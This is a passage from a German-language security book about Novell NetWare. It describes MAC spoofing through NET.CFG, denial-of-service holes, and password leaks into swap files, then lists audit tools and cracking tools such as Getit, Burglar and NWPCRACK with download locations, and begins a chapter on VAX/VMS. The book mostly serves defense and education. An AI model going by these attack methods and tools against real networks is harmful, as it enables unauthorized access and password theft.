automatische Adreßerkennung (Plug&Play- oder PCI-Ethernet-Adapter).
Beim Spoofing wird die Adresse im NODE-Feld der Datei NET.CFG geändert. Dabei weist der Angreifer dem Node eine
Adresse einer anderen Workstation zu. Je nach Netzwerkkonfiguration kann dies schon ausreichen. (Der Rechner wird neu
gebootet, neu authentifiziert, und das war`s.) Es kann jedoch auch zu großen Schwierigkeiten kommen, wie einem
Systemabsturz, einem Aufhängen oder einem anderen Versagen des Dienstes.
Um eine Spoofing-Sitzung erfolgreich zu Ende führen zu können, »killen« oder anästhesieren manche Cracker den Rechner,
als der sie sich ausgeben.
Hinweis:
Wenn sich zwischen dem Angreifer und dem Zielsystem Netzwerkschnittstellen befinden, vergeudet der
Angreifer oft nur seine Zeit. (Wenn Pakete z.B. einen intelligenten Hub, eine Brücke oder einen Router
passieren müssen, wird das Spoofing wahrscheinlich scheitern...)
In großen Netzwerken sind solche Angriffe schwer zu verhindern. Das ist aus folgendem Grund so: Viele Workstations in
einem NetWare-LAN haben keine Festplatte. Ohne physikalische Zugangskontrolle zu Diskettenlaufwerken gibt es keine
einfache Möglichkeit, Angreifer daran zu hindern, ihre eigenen Boot-Disketten zu installieren. (Sie müssen nur Disketten
erzeugen, mit denen erfolgreich gebootet werden kann.) Ich rate deshalb dazu, sehr kleine, billige Festplatten zu installieren
(40 Mbyte reichen aus) und die Diskettenlaufwerke ganz zu entfernen. Das ist jedoch nicht überall möglich. Die beste
Verteidigung sind dann eine umfassende Protokollierung und speziell aufgestellte Regeln, um Änderungen der Node-Adresse
oder der NET.CFG-Datei aufzuspüren.
Hinweis:
Vielleicht denken Sie jetzt, daß IP-Spoofing auf NetWare-Servern keine ernsthafte Gefahr darstellt. Dem
ist aber nicht so. Wenn ein NetWare-Netzwerk TCP.NLM verwendet und IP-Dienste anbietet, liegt
IP-Spoofing sehr wohl im Bereich des Möglichen.
Novell
file:///d|/cool stuff/old/hack/kap19.htm (5 von 14) [19.04.2000 21:15:15]
19.5 Denial of Service (DoS)
Denial-of-Service-Attacken legen meist einen oder mehrere Netzwerkdienste lahm. Wenn Sie Opfer eines solchen Angriffs
werden, sind Sie wahrscheinlich gezwungen, neu zu booten bzw. einige Dienste neu zu starten. Das ist zwar kein größeres
Sicherheitsrisiko, aber die Ausfallzeit kann teuer werden.
NetWare ist für mindestens zwei DoS-Attacken anfällig. Eine davon läßt sich sehr einfach umsetzen, aber nur von lokalen
Benutzern. Davon betroffen sind Version 3.x und höher. Der Exploit funktioniert folgendermaßen: Der Angreifer greift auf
einen Netzwerkdrucker zu und versucht, eine absurd lange Datei zu drucken. Dadurch kommt es zu einem Überlauf des
SYS-Volumes, und der Rechner stürzt ab. Dies erfordert natürlich nicht nur physikalischen Zugang, sondern auch einen
gültigen Account. Insgesamt ist dies eine Attacke niedriger Priorität, da das System einfach neu gebootet werden kann und
das Problem damit gelöst ist.
19.5.1 TCP/IP-DoS auf Novell NetWare 4.x
Version: NetWare 4.x
Auswirkungen: Vollständiger DoS und Systemabsturz
Einstufung: kritisch
Weitere Informationen: http://www.njh.com/latest/9711/971120-03.html
Abhilfe: Setzen Sie sich mit Novell in Verbindung.
Beigetragen von: Meltman
Beschreibung: Diese DoS-Sicherheitslücke ist ein wenig ernster. NetWare ist hier nur ein Opfer unter vielen. Der Exploit ist
unter dem oben genannten Link verfügbar. Er funktioniert folgendermaßen: Ein gespooftes Paket wird an das Zielsystem
gesendet. Das Paket gibt vor, von derselben Adresse wie das Ziel zu stammen.
Bei NetWare führt dies zu einer 100%-CPU-Auslastung und einem Absturz. (Die angegebene URL enthält Quellcode für den
Exploit, der ursprünglich für Windows-95-Rechner geschrieben wurde.)
Momentan ist mir keine Abhilfe für diese Sicherheitslücke bekannt.
19.5.2 FTP-Verwundbarkeit für DoS-Attacken
Bestimmte Versionen des FTP-Servers von NetWare sind für eine Denial-of-Service-Attacke anfällig. (Das wurde auch von
Internet Security Systems und Novell bestätigt, und Novell hat einen Patch herausgegeben.) Offensichtlich führt eine gegen
den Anonymous-FTP-Server durchgeführte Gewaltattacke zu einem Überlauf und einem Speicherleck. Dieses Leck
verbraucht schließlich den gesamten restlichen Speicher, und der Rechner hängt sich auf.
Hinweis:
Eine Gewaltattacke wird in diesem Fall von einem Programm ausgeführt, das den Prozeß des
Ausprobierens von Hunderten (oder manchmal Tausenden) Paßwörtern auf einem Server automatisiert.
19.5.3 Probleme durch Zusatzprogramme
Software von Drittanbietern brockt NetWare mehrere Sicherheitslücken ein. Sie können sich vielleicht denken, wer da mal
wieder schuld ist.
19.5.4 Die Windows-95-Sicherheitslücke
Version: NetWare (generell)
Auswirkungen: Windows 95 offenbart NetWare-Paßwörter.
Novell
file:///d|/cool stuff/old/hack/kap19.htm (6 von 14) [19.04.2000 21:15:15]
Einstufung: kritisch
Abhilfe: Deaktivieren des Caching von NetWare-Paßwörtern
Beigetragen von: Lauri Laupmaa
Beschreibung: In seiner Standardeinstellung cacht Windows 95 NetWare-Paßwörter. Diese landen in der Auslagerungsdatei
von Windows 95 und sind leichte Beute für jeden, der über Grep und ausreichenden Speicher für die Suche verfügt. Die
Lösung ist, das Caching der Paßwörter in der Netzwerk-Konfiguration zu deaktivieren. (Oder Ihre Auslagerungsdateien von
Windows-95-Platten zu entfernen). Diese Schwäche befindet sich in Microsofts NetWare-Client.
19.5.5 Die Windows-NT-Sicherheitslücke
Version: NetWare (generell)
Auswirkungen: Windows NT 4.0 offenbart NetWare-Paßwörter.
Einstufung: kritisch
Abhilfe: keine
Beigetragen von: Patrick Hayden
Windows NT behandelt NetWare-Paßwörter so, daß sie im Klartext in der Datei PAGEFILE.SYS landen. Wieder kann jeder,
der über Grep und ausreichenden Speicher für die Suche verfügt (und Berechtigungen, nehme ich an) sich diese Paßwörter
aneignen. Das ist ein Microsoft-Problem: Der Schuldige ist Microsofts Client für NetWare. Wenden Sie sich für einen Fix an
Microsoft (oder benutzen Sie statt dessen den Novell-Client).
19.6 Utilities zur Sicherung und Verwaltung von
Novell-Netzwerken
Die folgenden Utilities sind für die Sicherung Ihres Servers oder die Verwaltung Ihres Novell-Netzwerks unverzichtbar.
19.6.1 AuditTrack
AuditTrack ist eines der umfassendsten Audit-Tools, die es gibt. Es protokolliert alle Versuche von Datei- und
Server-Zugriffen, bietet eine zentrale Kontrolle über mehrere Hosts, erkennt automatisch bekannte Sicherheitsschwächen und
bietet wirksame Filtermöglichkeiten durch selbst definierbare Regeln.
ON Technology/DaVinci Systems Corp.
ON Technology Corporation
One Cambridge, MA 02142
Tel.: 001-617-374-1400
E-Mail: info@on.com URL: http://www.on.com
19.6.2 ProtecNet für NetWare
ProtecNet für NetWare ist ein umfangreiches Sicherheitspaket zur Verbesserung der grundlegenden NetWare-Sicherheit. Es
bietet vollständige C-2-Erfüllung für Novell-Netzwerke, einschließlich verbessertem Bootschutz, wahlweiser
Zugriffskontrolle, Datenverschlüsselung, Audit-Protokollen, Berichten, Virenprüfung und zentralisierter Verwaltung. Es ist
ein kommerzielles Produkt, das sein Geld wirklich wert ist.
NH&A
577 Isham Street, Suite 2-B
New York City, NY 10034
Kontakt: Norman Hirsch
Tel.: 001-212-304-9660
Novell
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Fax: 001-212-304-9759
E-Mail: nhirsch@nha.com URL: http://www.nha.com/
Mehr Informationen zu ProtecNet für NetWare finden Sie unter http://www.nha.com/protec.htm .
19.6.3 LattisNet-Netzwerkverwaltungssystem
LattisNet ermöglicht eine zentralisierte Verwaltung von Netzwerkressourcen durch SNMP, Autotopologie und die
Fernsteuerung von NetWare- und Token-Ring-Netzwerken. Das Paket bietet eine grafische Echtzeitdarstellung der
Netzwerktopologie, so daß Sie Netzwerkprobleme schnell erkennen können. (Sie können auch speziell auf Ihre Bedürfnisse
abgestimmte Warnmeldungen und Grenzwerte einrichten). Sie können LattisNet zur Steuerung und Verwaltung vieler Arten
von Netzwerk-Hardware verwenden, einschließlich Routern, Hubs, Brükken und Switches.
Bay Networks, Inc.
4401 Great America Pkwy.
Santa Clara, CA 95054
Tel.: 001-408-988-2400
URL: http://www.baynetworks.com/
19.6.4 LT Auditor+ v6.0
LT Auditor+ v6.0 ist ein umfangreiches, plattformübergreifendes Audit- und Protokollierungs-Tool für NetWare-Systeme. Es
unterstützt nach Zeitplan durchgeführte Protokollierungen und Analysen sowie »sticky« Sicherheitskontrollen. Das sind
Zugangsregeln, die auf einzelne Benutzer angewandt werden, unabhängig davon, welchen Server sie in einem Cluster
verwenden. Noch wichtiger ist, daß das Programm Echtzeit-Filterung und -Berichterstattung anbietet sowie automatische
Alarmfunktionen und zentralisierte Verwaltung dieser Funktionen in Netzwerken, die sowohl NetWare- als auch
Windows-NT-Server beherbergen. Dies spart eine Menge Zeit, da Sie NT- und NetWare-Server simultan prüfen können und
die Berichte in einem einzigen, integrierten Paket einsehen können.
Blue Lance, Inc.
1700 West Loop South, Suite 1100
Houston, TX 77027
Tel.: 001-800-856-BLUE
URL: http://www.bluelance.com/
19.6.5 Kane Security Analyst für Novell NetWare
Kane Security Analyst ist ein effektives Programm zur Echtzeit-Erkennung von Eindringlingen mit Audit-Funktionen für
Novell 3.x und 4.x NDS. Kane überwacht und berichtet über Sicherheitsverletzungen und enthält einige unverzichtbare Tools,
einschließlich einem eingebauten Paßwort-Prüfer, automatischer Risikoanalyse, Abwehr von Terminal- und Paket-
Übernahmen und einem automatischen Sicherheitsscan, der Ihre gesamte Sicherheit überprüft und über entdeckte
Schwachstellen berichtet.
Intrusion Detection Inc.
217 East 86th Suite 213
New York, NY 10028
Tel.: 001-212-348-8900
E-Mail: info@intrusion.com URL: http://www.intrusion.com/
19.6.6 Sicherheitsrichtlinien von Baseline Software, Inc.
Baseline Software bietet vorgefertigte Sicherheitsrichtlinien (Policies) für Novell-NetWare- Netzwerke an. Sie können viel
Geld und Zeit sparen, wenn Sie die Sicherheitsrichtlinien von Baseline verwenden. (Richtlinien sind das gefragteste und am
wenigsten verfügbare Produkt auf dem Markt. Sie wären überrascht, wenn Sie wüßten, wie viele Unternehmen keine
ordentlichen Sicherheitsrichtlinien haben. In Mailing-Listen können Sie jeden Tag Anfragen nach solchen Policies finden.)
Novell
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Baseline Software, Inc.
PO Box 1219
Sausalito, CA 94966
Tel.: 001-800-829-9955
E-Mail: info@baselinesoft.com URL: http://www.baselinesoft.com/
19.6.7 MenuWorks
MenuWorks ist ein integriertes Front-End für alle Sicherheitsprozeduren auf der Novell- Plattform, das über eine erweiterte
Zugriffskontrolle und leicht bedienbare Menüsysteme verfügt.
PC Dynamics, Inc.
31332 Via Colinas, #102
Westlake Village, CA 91362
Tel.: 001-818-889-1741
Fax: 001-818-889-1014
E-Mail: sales@pcdynamics.com URL: http://www.pcdynamics.com/
19.6.8 AuditWare für NDS
AuditWare für NDS ist ein fortgeschrittenes Audit- und Analyse-Tool für Netzwerkverwalter. Mit AuditWare können Sie
potentielle Sicherheitsverletzungen identifizieren und vereiteln. (Die Berichte umfassen sogar eine Vergleichsanalyse von
Netzwerkressourcen.) AuditWare ist wahrscheinlich das umfassendste NDS-Audit-Paket, das derzeit erhältlich ist.
Cheyenne Directory Management Group
Computer Associates International, Inc.
One Computer Associates Plaza
Islandia, NY 11788
Tel.: 001-516-342-5224
URL: http://www.cheyenne.com/
19.6.9 WSetPass 1.55
WSetPass 1.55 wurde von Nick Payne für Systemadministratoren zur Verwaltung von Benutzer-Paßwörtern über mehrere
Server entwickelt. Es funktioniert für Paßwörter von NetWare 2, 3 und 4.x und läuft auf Windows 3.1x, Windows 95 und
Windows NT 4.0. Sie können mit WSetPass unterschiedliche Server zusammenbringen und die Paßwort-Aktualisierung für
alle Server im Netzwerk synchronisieren.
Wegweiser:
WSetPass 1.55 finden Sie unter http://ourworld.compuserve.com/homepages/nick_payne/wsetpass.zip .
19.6.10 WnSyscon 0.95
WnSyscon 0.95 ist eigentlich SYSCON für Windows. Es ermöglicht Ihnen die Verwaltung Ihres Novell-NetWare-Servers
von einer Windows-Plattform aus. Sie können dieselben grundlegenden Arbeiten vornehmen, die Sie sonst an der
Fileserver-Konsole durchführen. Der Autor von WnSyscon ist unbekannt.
Wegweiser:
WnSyscon 0.95 finden Sie unter ftp://ftp.novell.com/pub/nwc-online/ utilities/wnscn095.zip.
Novell
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19.6.11 BindView EMS
BindView EMS ist ein umfangreiches Netzwerkverwaltungs- und Sicherheits-Tool. Es kann Ihr Netzwerk erfolgreich auf
Sicherheitslöcher analysieren und identifiziert Problembereiche, Plattennutzung, Benutzerrechte und sogar die Vererbung von
Benutzerrechten. Außerdem können Sie den Status von Objekten untersuchen, einschließlich aller Attribute von Dateien.
Dieses umfassende Paket zur Netzwerkverwaltung ist ein kommerzielles Produkt.
Wegweiser:
BindView EMS finden Sie unter http://www.bindview.com/
19.6.12 SecureConsole
SecureConsole ist ein Sicherheitsprogramm aus Australien, mit dem Sie Ihre Sicherheit deutlich verbessern können. Es dient
dem Schutz der Server-Konsole und ermöglicht eine verbesserte Zugriffskontrolle und weitreichende Audit-Möglichkeiten.
Wegweiser:
SecureConsole finden Sie unter http://www.serversystems.com/secure.htm.
19.6.13 GETEQUIV.EXE
GETEQUIV.EXE analysiert Privilegien-Übereinstimmungen von Benutzern des Netzwerks. (Wären Sie nicht überrascht,
wenn Sie feststellen würden, daß jemand die gleichen Privilegien hat wie der Supervisor?) Es ist ein solides Tool zur
schnellen Einschätzung der Sicherheitsebenen.
Wegweiser:
GETEQUIV.EXE finden Sie unter ftp://mft.ucs.ed.ac.uk/novell/utils/ jrb212a.zip.
19.7 Utilities zum Knacken von Novell-Netzwerken oder
Testen ihrer Sicherheit
Die folgenden Tools wurden entweder von Personen geschrieben, die eine Verbesserung der Netzwerksicherheit anstrebten,
oder von Crackern. Alle haben eines gemeinsam: Sie können verwendet werden, um in ein Novell-Netzwerk einzudringen.
19.7.1 Getit
Getit soll von Studenten der George Washington High School in Denver, Colorado, geschrieben worden sein und dient dazu,
Paßwörter auf einem Novell-Netzwerk abzufangen. Das Programm ist in Assembler geschrieben und deshalb sehr klein.
Dieses Tool wird durch eine beliebige Instanz der Applikation LOGIN.EXE angestoßen, das bei Novell zur Authentifizierung
und zum Starten einer Login-Session auf einer Workstation verwendet wird. Aufgrund seiner Arbeitsweise ist Getit mit einem
Sniffer vergleichbar. Es arbeitet direkt auf Betriebssystemebene und hört Aufrufe an Int 21h ab (und löst diese aus). Getit ist
wahrscheinlich das bekannteste Hacking-Tool für NetWare, das je geschrieben wurde. Sie finden es unter ftp:/
/ftp.fc.net/pub/phrack/underground/misc/getit.zip.
19.7.2 Burglar
Burglar ist ein etwas dubioses Utility. Es kann nur verwendet werden, wenn man physikalischen Zugriff zu dem
NetWare-Fileserver hat. Es ist ein NLM (NetWare-ladbares Modul). Die meisten NetWare-Programme, die auf dem Server
ausgeführt werden, sind ladbare Module. (Dies umfaßt alles vom Systemmonitor bis zu einfachen Anwendungen wie
Editoren.) Das Utility wird normalerweise auf einer Diskette gespeichert. Manchmal muß der Angreifer den Server neu
booten. Wenn der Angreifer dann an den Server-Prompt gelangt (ohne von paßwortgeschützten Programmen aufgehalten zu
werden), wird das Utility in den Speicher geladen. Das führt dann zur Einrichtung eines Accounts mit Supervisor-Privilegien.
Novell
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Die Auswirkungen dieses Utilitys auf Novell-Netzwerke waren allerdings wahrscheinlich nur sehr gering, da Fileserver selten
ungeschützt zugänglich sind. Sie finden Burglar unter http://www2.s- gimb.lj.edus.si/natan/novell/burglar.zip.
19.7.3 Spooflog
Spooflog, von Greg Miller in C geschrieben, ist ein Programm, das einer Workstation vortäuschen kann, daß sie mit dem
Server kommuniziert. Das ist ein ziemlich fortgeschrittener Exploit. Ich sollte an dieser Stelle anmerken, daß Greg Miller kein
Cracker ist. Er stellt diese Programme über das Internet zur Verfügung, damit die allgemeine Netzwerksicherheit verbessert
wird, und hat keinerlei Verbindungen zu radikalen Randgruppen.
Wegweiser:
Spooflog (und den Quellcode) finden Sie unter http://members.iglou.com/ gmiller/.
19.7.4 Setpass
Setpass, ein weiteres ladbares Modul, gibt dem Benutzer Supervisor-Status. Auch dieses Modul erfordert physikalischen
Zugriff auf den Rechner. Im Grunde ist es eine Abwandlung von Burglar. Es funktioniert (Berichten zufolge) auf Novell
Netware 3.x bis 4.x. Sie finden Setpass unter http://www.execulink.com/~chad/midnight/novell/setpass.zip.
19.7.5 NWPCRACK
NWPCRACK ist ein Gewaltattacken-Utility zum Knacken von Paßwörtern auf der Novell- Plattform. Dieses Utility wird am
besten von einem entfernten Rechner aus verwendet, da es die Paßwörter über längere Zeiträume hinweg bearbeitet. Der
Autor weist darauf hin, daß es Verzögerungen zwischen Paßwortversuchen gibt und die Gewaltattacke deshalb einige Zeit
dauern könnte. Das Utility funktioniert wahrscheinlich am besten, wenn der Cracker ein Netzwerk angreift, über das er
Informationen hat (z.B. über die Leute, die den Rechner benutzen). Davon abgesehen glaube ich, daß ein Tool für
Gewaltattacken gegen eine Umgebung wie NetWare wahrscheinlich ziemlich unpraktisch ist. Dennoch gibt es Cracker, die
darauf schwören. Sie finden NWPCRACK unter http://www.digital-gangsters.com/hp/ utilities/nwpcrack.zip.
19.7.6 IPXCntrl
IPXCntrl von Jay Hackney ist ein hochentwickeltes Utility, das die Fernsteuerung von jedem beliebigen, bloßgestellten
System ermöglicht. Das Paket enthält so etwas wie einen Client und einen Server, obwohl diese kein Client und Server im
herkömmlichen Sinne sind. Sie werden Master und Minion (Lakai) genannt. Der Master lenkt den Minion über externe
Leitungen. Mit anderen Worten überzeugt diese Software das Netzwerk davon, daß die Tastatureingaben von dem Minion
kommen, obwohl sie eigentlich vom Master stammen. IPXCntrl läuft als ein TSR-Programm (Terminate and Stay Resident),
das im Hauptspeicher verbleibt, auch wenn es gerade nicht ausgeführt wird. Sie finden es unter http://home1.swipnet.se/
~w-12702/11A/FILES/IPXCTRL1.ZIP.
19.7.7 Crack
Crack ist ein Paßwort-Knacker für die Novell-NetWare-Plattform. Dieser Paßwort-Knacker basiert auf einer Wortliste
(ähnlich wie sein Namensvetter für Unix). Er ist ein umfassendes Tool, das nicht erfordert, daß NetWare sich auf der lokalen
Platte befindet. Ein gutes Tool zum Testen Ihrer Paßwörter.
Wegweiser:
Crack finden Sie unter http://www.mechnet.liv.ac.uk/~roy/freeware/ crack.html.
19.7.8 Snoop
Snoop ist wirklich gut. Es sammelt Informationen über Prozesse und die Shell. Ein ausgezeichnetes Tool zum Sammeln von
Informationen über jede einzelne Workstation und zum Beobachten der Shell.
Novell
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Wegweiser:
Snoop finden Sie unter
http://www.shareware.com/code/engine/File?archive=novell-netwire&file=napi%2fcltsdk1e%2fsnoop%2eexe&size=102625
.
19.7.9 Novelbfh.exe
Novelbfh.exe ist ein mit Gewalt vorgehender Paßwort-Knacker. Er probiert so lange unterschiedliche
Buchstabenkombinationen durch, bis er das Paßwort schließlich knackt. Das Problem bei diesen Utilities ist natürlich, daß sie
sehr viel Zeit benötigen. Wenn der Supervisor die intruder detection aktiviert hat, wird es außerdem zu einer Sperrung des
Accounts (intruder detection lockout - IDL) kommen. IDL funktioniert durch Setzen eines Grenzwertes, der die Anzahl von
fehlgeschlagenen Login-Versuchen festlegt, die ein Benutzer durchführen darf. Zu diesem Wert wird die Bad Login Count
Retention Time addiert. Das ist der Zeitraum (voreingestellt mit 30 Minuten), währenddem fehlgeschlagene Login-Versuche
dem IDL-Schema zugeordnet werden. Wenn also z.B. um 13.00 Uhr ein fehlgeschlagener Login-Versuch gemacht wird, wird
die Überwachung dieses Accounts (für diesen IDL) bis 1:30 Uhr fortgesetzt. Um dies noch zu verschärfen, kann der
Supervisor auch die Länge des Zeitraums bestimmen, für den der Account gesperrt bleibt. Die Voreinstellung für diesen Wert
ist 15 Minuten. IDL ist daher eine vielversprechende Methode zur Abwehr von Gewaltattacken. Wenn diese Optionen
aktiviert sind, hat ein Cracker bei einer Novell-NetWare-Plattform keine Chance. Das Programm finden Sie unter
http://www2.s- gimb.lj.edus.si/natan/novell/novelbfh.zip.
Tip:
Wenn Sie in Sachen Sicherheit ein Neuling sind und ein Novell-NetWare- Netzwerk verwalten, sollten
Sie IDL aktivieren, wenn dies nicht schon der Fall ist. Außerdem sollten Sie - mindestens zweimal
wöchentlich - das durch diesen Prozeß erzeugte Audit-Protokoll überprüfen. (Die Ereignisse werden in
einer Datei protokolliert.) Sie können diese Protokolldatei (das Äquivalent zu /var/adm/messages und
syslog bei Unix) ansehen, indem Sie in das Verzeichnis SYS:SYSTEM wechseln und den Befehl PAUDIT
eingeben.
19.7.10 Weitere Tools zum Knacken von Novell
Tabelle 19.1 enthält einige weniger bedeutende Tools zum Knacken von Novell, die aber auch zu einer ernsthaften
Gefährdung der Systemsicherheit führen können. Wenn Sie nach ihnen suchen wollen, geben Sie am besten in Ihrer
bevorzugten Suchmaschine den Dateinamen als Suchwort ein.
Tabelle 19.1: Wenige bekannte Tools zum Knacken von Novell
Tool Dateiname Zweck
CONTROL control.zip Verwenden Sie dieses Programm zur heimlichen Steuerung entfernter Server.
FSINFO fsinfo11.zip Ein Scanner-ähnliches Utility, das Schwachstellen von lokalen NetWare-Servern aufdeckt.
LA la.zip Ähnliche Funktionalität wie CONTROL; ermöglicht Ihnen, heimlich entfernte Server zu steuern.
NetCrack netcrack.zip Setzt die Bindery außer Gefecht, so daß Sie alle Paßwörter neu setzen können.
Novell FFS novellffs.zip Simuliert einen Fileserver, der verwendet werden kann, um nichtsahnende Benutzer zu spoofen.
RCON rcon.zip Dieses Programm attackiert RCONSOLE-Schwachstellen.
SETPWD retpwd.zip Wenn Sie physikalischen Zugang zum Server bekommen können, gibt dieses Programm Ihnen
Supervisor-Privilegien.
STUDENT student.exe Dieses Programm ersetzt LOGIN.EXE und erzielt Supervisor-Zugriff.
SUPE hack.zip Gewährt allen Benutzern Supervisor-Rechte, während der Supervisor eingeloggt ist.
Novell
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19.8 Informationsquellen
Hier finden Sie einige Informationsquellen zur Sicherheit von Novell-NetWare. Es sind Bücher, Artikel, Webseiten und
einige Newsgruppen.
19.8.1 Verschiedene Informationsquellen
Novell NetWare Security von MH Software. Dies ist ein spannendes Dokument, das hauptsächlich für FoxPro-Programmierer
geschrieben wurde. Es behandelt Schwächen der Novell- Sicherheitsarchitektur und zeigt, wie man diese bei der
FoxPro-Entwicklung auf dem NetWare-System berücksichtigen sollte. Mehr Informationen finden Sie unter http://
www.mhsoftware.com/FoxPro_Misc/novell.htm.
NetWare Security in a Nut Shell. Obwohl etwas veraltet, ist dies eine ausgezeichnete Abhandlung über NetWare-Sicherheit,
die Themen wie die Sicherheit der NLM-Bindery, des Dateisystems und der Verzeichnisdienste anspricht. Sie finden sie unter
http://developer.novell.com/research/devnotes/1996/august/03/02.htm .
Guide for Protecting Local Area Networks and Wide Area Networks. Department of Health and Human Services. Dies ist ein
sehr guter, allgemeiner Überblick über die Sicherheitsrisiken in LAN- and WAN-Umgebungen. Sie finden ihn unter
http://bilbo.isu.edu/security/isl/lan-doc.html .
TCP/IP and NetWare from Network Technology Professionals. Ein guter FAQ, der sich mit dem Einsatz von TCP/IP auf der
NetWare-Plattform befaßt. (Er behandelt potentielle Sicherheitsprobleme beim Einsatz von IP-Source-Routing.) Sie finden
ihn unter http:// www.ntp.net/documents/faq/nvfaq-e.htm.
The NetWare Connection: http://www.novell.com/nwc/.
Inside NetWare: http://www.cobb.com/inw/index.htm.
Institute of Management and Administration: http://www.ioma.com/ioma/mlc/index.html.
19.8.2 Usenet-Newsgruppen
Die folgenden Newsgruppen befassen sich mit NetWare:
comp.os.netware.announce - NetWare-Mitteilungen
comp.os.netware.connectivity - Connectivity-Produkte
comp.os.netware.misc - Allgemeine NetWare-Themen
comp.os.netware.security - NetWare-Sicherheit
19.8.3 Bücher
Bulletproofing NetWare: Solving the 175 Most Common Problems Before They Happen. Mark Wilkins und Glenn E.
Weadock. McGraw-Hill, 1997. ISBN: 0070676216.
CNE Training Guide: NetWare 4.1 Administration. Karanjit S. Siyan. New Riders Publishing, 1995. ISBN: 1562053728.
NetWare Security. William Steen. New Riders Publishing, 1996.
Novell's Guide to Integrating NetWare and TCP/IP. Drew Heywood. Novell Press/IDG Books Worldwide, 1996.
NetWare Unleashed, Second Edition Rick Sant'Angelo. Sams Publishing, 1995.
A Guide to NetWare for UNIX. Cathy Gunn. Prentice Hall, 1995.
NetWare LAN Management ToolKit. Rick Segal. Sams Publishing, 1992.
The Complete Guide to NetWare 4.1. James E. Gaskin. Sybex Publications, 1995.
Novell
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Building Intranets on NT, NetWare, Solaris: An Administrator's Guide: Tom Rasmussen und Morgan Stern. Sybex, 1997.
The NetWare to Internet Connection. Morgan Stern. Sybex, 1996.
NetWare to Internet Gateways. James E. Gaskin. Prentice Hall Computer Books, 1996.
Novell's Guide to NetWare LAN Analysis. Dan E. Hakes und Laura Chappell. Sybex, 1994.
Novell's Four Principles of NDS. Jeff Hughes. IDG Books Worldwide, 1996. ISBN: 0- 76454-522-1.
NetWare Web Development. Peter Kuo. Sams Publishing. 1996.
The Complete Guide to NetWare 4.11/Intranetware. James E. Gaskin. Sybex, 1996. ISBN: 078211931X.
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20
VAX/VMS
In diesem Kapitel wollen wir ein wenig in Erinnerungen schwelgen. Auch für die Jüngeren unter Ihnen
ist ein kleiner Ausflug in die Geschichte sicher interessant. Ich beginne mit dem Aufstieg der Digital
Equipment Corporation (DEC), des Unternehmens, das die einst so populären VAX (Virtual Address
Extension) hergestellt hat.
Auf die eine oder andere Weise war DEC immer an kritischen Momenten der Computergeschichte
beteiligt. (Vielleicht erinnern Sie sich daran, daß Ken Thompson Unix zuerst auf einer DEC PDP-10
gehackt hat.)
Wegweiser:
Um eine Vorstellung davon zu bekommen, wie lange DEC bereits Computerprodukte für die Industrie
liefert, sollten Sie sich etwas Zeit nehmen und folgende Webseite besuchen:
http://www.cs.orst.edu/~crowl/history/.
Der obige Link führt Sie zu Lawrence Cowls wunderbarer Site über die Geschichte des Computers. Dort
sind die Meilensteine unserer Computerkultur dargestellt (beginnend mit dem allerersten Computer von
Charles Babbage, ca. 1823). Auch die erste DEC PDP-1 ist auf dieser Site zu finden. Kurze Zeit darauf
produzierte DEC bereits eine breite Palette von Produkten, z.B. den ersten Minicomputer - die DEC
PDP-8.
1978 produzierte DEC die erste VAX, die Digital VAX 11/780. Diese Maschine bot eine 32-
Bit-Architektur und 1 MIPS Leistung. Gemessen an dem damaligen Standard war die 11/ 780
leistungsfähig und schnell. (Und abwärtskompatibel zu der PDP-Reihe, die ihr vorausging.) Der Preis?
Läppische 200.000 Dollar.
Hinweis:
MIPS steht für million instructions per second (Millionen Anweisungen pro Sekunde).
Seltsamerweise wurde die 11/780 so populär, daß sie sich als Benchmark-Maschine für den MIPS-Index
etablierte. Sie wurde somit zum Maßstab für die Messung aller späteren Workstations. (Und das, obwohl
die IBM 370/158 in Sachen Geschwindigkeit und Rechenleistung durchaus vergleichbare Werte erzielte.
Dennoch erreichte die IBM 370/158 nie die Beliebtheit der 11/780.)
VAX/VMS
file:///d|/cool stuff/old/hack/kap20.htm (1 von 14) [19.04.2000 21:15:19]
Noch einmal: Die 11/780 war eine Maschine für 200.000 Dollar, die annähernd 1 Million Anweisungen
pro Sekunde bearbeiten konnte. Fantastisch. Wenn Sie diese Maschine heute im Internet zum Verkauf
anbieten würden, müßten Sie dem Käufer noch etwas dazugeben, damit er sie abtransportiert. Nach
heutigen Standards ist sie entweder Schrott oder, etwas milder ausgedrückt, ein Sammlerstück. Eine
Sache machte die 11/780 jedoch zu einer ganz besonderen Innovation und unterscheidet sie noch immer
von den anderen Rechnern in der Geschichte des Computers: Die 11/780 konnte zwei Betriebssysteme
unterstützen. Das eine war das damals schon recht bekannte Unix, und das andere war VMS. Wir werden
uns VMS gleich zuwenden, zuvor möchte ich Ihnen aber noch eine Vorstellung davon vermitteln, worum
es bei der VAX ging.
VAX war ein Mehrbenutzersystem. Viele Leser sind vielleicht zu jung, um sich an die VAX- Stationen
erinnern zu können. Die MicroVAX ist ca. 90 cm hoch, und ihre Karten sind größer als die meisten
modernen Motherboards von PCs.
Als Terminal wurde ein VT220 verwendet, mit einem sichtbaren Bereich von ca. 8 1/2 Zoll. Auf der
Rückseite des Terminals befinden sich verschiedene Anschlüsse. Darunter sind ein
Datenleitungsanschluß, ein Druckeranschluß und ein serieller Port. Der serielle Port kann auf
erstaunliche 19.200 Baud eingestellt werden, und die verfügbaren Terminal-Emulationen beinhalteten
VT220 und VT100. Wenn Sie ein Modem an das Terminal anschließen, müssen Sie die Modembefehle
auf einem leeren Bildschirm mit einem blinkenden Cursor eingeben. (Ein Wählvorgang würde z.B. durch
Eingabe von ATDT5551212 eingeleitet.)
In dem Terminal befindet sich eine Firmware. Das ist Software, die auf der Platine hartcodiert ist.
(PC-Benutzer können sich das wie ihr CMOS vorstellen. Es ist ein kleines Software-Modul, das eine
begrenzte Anzahl von Aufgaben durchführen kann.) Leider hatte ich keine Möglichkeit, an eine
Abbildung des Bildschirms zu kommen, so daß ich ihn beschreiben muß. Wenn das Terminal bootet,
sehen Sie zuerst eine Copyright-Meldung und dann einen leeren Bildschirm mit einem blinkenden
Cursor. Das Terminal ist nun bereit, Befehle entgegenzunehmen. Um die Einstellungen der Firmware zu
ändern, betätigen Sie die [F3]- Taste Dadurch erhalten Sie am unteren Bildschirmrand ein Menü, in
dem Sie unterschiedliche Einstellungen ansehen und ändern können. Diese betreffen nicht nur die Art, in
der die Kommunikation durchgeführt wird, sondern auch das Layout und das Verhalten des Bildschirms.
Sie können z.B. zwischen schwarzer Schrift auf bernsteinfarbenem Hintergrund oder umgekehrt wählen.
Sie können eine Schreibmaschinentastatur oder einen Datenmodus festlegen und die Anzahl von Zeichen
